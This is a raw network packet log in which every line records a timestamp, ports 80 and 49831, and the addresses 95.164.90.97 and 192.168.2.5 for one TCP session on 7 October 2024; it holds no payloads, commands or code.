Oct 7, 2024 18:00:52.223830938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223843098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223845959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.223855019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223858118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.223867893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223890066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.223908901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.224409103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224421978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224432945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224445105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224461079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.224462986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224468946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224473000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224483013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224488974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.224498034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224508047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.224509954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224523067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224524021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.224534988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224549055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.224560022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.224579096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.225548983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225560904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225572109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225584030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225596905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225604057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.225608110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225616932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.225620031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225632906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225636005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.225646019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225652933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.225658894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225672007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225681067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.225683928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225697041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.225707054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.225722075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.225747108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.285356045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.285382986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.285397053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.285480022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.285624027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.285636902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.285651922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.285665035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.285665035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.285710096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.304862976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.304888010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.304900885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.304980993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.305026054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305037975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305051088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305063009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305185080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.305185080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.305423021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305433989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305444002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305454969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305465937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305471897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.305478096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305486917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.305489063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305497885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305510044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305515051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.305521011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305533886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.305540085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.305560112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.305586100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306097031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306107998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306118011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306128979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306140900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306149006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306152105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306163073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306163073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306174040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306178093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306184053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306196928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306210041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306211948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306221962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306233883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306236982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306248903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306278944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306833029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306843996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306854010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306865931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306876898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.306883097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306894064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.306922913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.307107925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307120085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307161093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.307168007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307180882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307193041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307204008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307205915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.307214022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307231903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.307259083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.307645082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307657957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307667971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307681084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307692051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307694912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.307703972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.307708979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.307728052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.307754040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.307784081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.309375048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.310101032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.310123920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.310134888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.310144901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.310156107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.310177088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.310208082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.310365915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.310376883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.310414076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.310431957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.313385010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.315207958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.315265894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.315294027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.315304995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.315340042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.315665960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.315690041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.315701962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.315712929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.315722942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.315737963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.315759897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316010952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316023111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316032887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316046000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316062927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316091061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316236019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316248894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316260099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316272020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316279888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316282988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316296101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316298008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316308022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316318035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316324949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316329956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316354036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316373110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316736937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316749096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316760063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316770077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316781044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316785097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316792965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316804886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316812992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316817045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316832066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.316833973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316848040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.316865921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.317399979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.317411900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.317430973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.317441940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.317452908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.317454100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.317464113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.317476988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.317485094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.317487955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.317498922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.317500114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.317518950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.317528009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.318164110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318173885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318185091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318196058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318207979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318216085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.318219900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318231106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318242073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318244934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.318253994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318259954 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.318265915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318276882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318289995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318289995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.318304062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.318315983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.318330050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.370285034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.370304108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.370316029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.370377064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.370388985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.370400906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.370414972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.370419979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.370465994 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.389347076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389359951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389369965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389455080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.389461040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389471054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389476061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.389482975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389496088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389503956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.389534950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.389611959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389642954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389652967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.389662027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.389689922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390302896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390314102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390331030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390343904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390352011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390364885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390364885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390377998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390391111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390391111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390420914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390604019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390614986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390633106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390635967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390646935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390657902 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390657902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390671015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390675068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390683889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390695095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390702009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390708923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.390721083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.390743971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391366005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391376972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391403913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391413927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391416073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391427994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391433001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391438961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391450882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391458035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391464949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391477108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391485929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391488075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391499043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391504049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391516924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391520023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391530037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391545057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391546011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391556978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391571999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.391576052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391591072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.391613960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.393816948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.393882990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.393894911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.393922091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.393944979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.394315958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.394329071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.394340992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.394354105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.394366026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.394392014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.395004034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.395044088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.395057917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.395068884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.395081043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.395087957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.395102978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.395117044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.395342112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.395353079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.395364046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.395379066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.395402908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.409821987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409833908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409845114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409856081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.409868002 CEST	80	49831	95.164.90.97	192.168.2.5
